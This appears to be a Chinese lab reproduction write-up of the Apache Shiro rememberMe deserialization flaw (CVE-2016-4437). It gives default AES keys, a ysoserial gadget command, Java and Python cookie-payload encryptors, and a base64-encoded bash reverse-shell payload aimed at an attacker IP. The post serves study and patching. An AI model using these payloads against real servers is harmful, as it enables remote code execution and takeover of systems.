Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现

admin 2022年6月27日08:06:15评论185 views字数 3295阅读10分59秒阅读模式
Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现
点击上方“蓝字”,发现更多精彩。

0x00 漏洞描述

Apache Shiro是一款开源强大且易用的Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

0x01 漏洞原理

Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManager类中将cookie中rememberMe字段内容分别进行序列化、 AES加密、Base64编码操作。

1.1 漏洞分析
  • Apache Shiro如何记住我?

  1. 序列化用户身份对象.(这里为SimplePrincipalCollection)

  2. 对序列化后的数据进行AES加密,密钥为常量.

  3. base64编码

  4. 设置到cookie中,cookie name等于rememberMe.

  • Apache Shiro如何解析我?

  1. 读取cookie中的rememberMe的值.

  2. 对其值进行base64解码.

  3. AES解密

  4. 反序列化

整体攻击流程:命令 => 序列化 => AES加密 => base64编码 => RememberMe Cookie值 => base64解密 => AES解密 => 反序列化 => 执行命令


1.2 漏洞特征
Shiro反序列化特征:在返回包的Set-Cookie中存在rememberMe=deleteMe字段。
一些可替换的密钥:
kPH+bIxk5D2deZiIxcaaaA==wGiHplamyXlVB11UXWol8g==2AvVhdsgUs0FSA3SDFAdag==4AvVhmFLUs0KTA3Kprsdag==fCq+/xW488hMTCD+cmJ3aQ==3AvVhmFLUs0KTA3Kprsdag==1QWLxg+NYmxraMoxAXu/Iw==ZUdsaGJuSmxibVI2ZHc9PQ==Z3VucwAAAAAAAAAAAAAAAA==U3ByaW5nQmxhZGUAAAAAAA==6ZmI6I2j5Y+R5aSn5ZOlAA==


0x02 影响版本

Apache Shiro <= 1.2.4


0x03 环境搭建

3.1 使用docker vulhub复现漏洞环境

Centos7

使用vulhub,进入shiro -> CVE-2016-4437目录下

用 docker-compose up -d 命令启动漏洞环境

服务启动后,访问http://your-ip:8080

可使用admin:vulhub进行登录


3.2 下载漏洞利用工具

下载利用工具ShiroExploit

https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.3


0x04 漏洞复现

4.1 确认网站是Apache Shiro搭建的

1.抓包进行分析,账号密码随便填,记得勾选Remember me。

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


2.抓取到数据包之后,将cookie内容修改为remember Me=1,如果响应包存在rememberMe=delereMe,则基本可以确定网站是Apache Shiro搭建的,效果如图所示:

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


3.使用ysoserial生成CommonsBeanutils1的Gadget:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success1" > poc.ser


4.使用Shiro内置的默认密钥对Payload进行加密:

package org.vulhub.shirodemo;
import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.util.ByteSource;import org.apache.shiro.codec.Base64;import org.apache.shiro.io.DefaultSerializer;
import java.nio.file.FileSystems;import java.nio.file.Files;import java.nio.file.Paths;
public class TestRemember { public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));
AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); }}


5.python3运行加密POC生成payload:

import sysimport uuidimport base64from Crypto.Cipher import AES
def encode_rememberme(): f = open('poc.ser','rb') BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(f.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext

if __name__ == '__main__': payload = encode_rememberme() print("rememberMe={0}".format(payload.decode()))

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


6.发送rememberMe Cookie,即可成功执行touch /tmp/success

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


4.2 证明站点存在漏洞

1.打开漏洞利用工具

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


2.输入目标地址之后进行下一步

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


3.继续下一步

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


4.若工具显示如下则证明目标站点存在Apache Shiro反序列化漏洞

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


4.3 反弹shell

1.NC开启本地监听

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


2.选中工具的反弹shell并输入攻击机对应信息

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


3.攻击机反弹到Shell

Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


4.4 手动反弹Shell

Payload:

Java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTI uMTY4LjE3MS4xMjgvNTg1OCAwPiYx}|{base64,-d}|{bash,-i}"


0x05 漏洞修复

1.官网补丁。

2.将Shiro升级到最新版本。



内容仅供学习及自我检测修复,根据此文造成的任何后果均由用户个人承担。



我知道你在看
Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现


原文始发于微信公众号(米瑞尔信息安全):Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日08:06:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Shiro rememberMe(CVE-2016-4437,Shiro-550)反序列化漏洞复现https://cn-sec.com/archives/1141985.html

发表评论

匿名网友 填写信息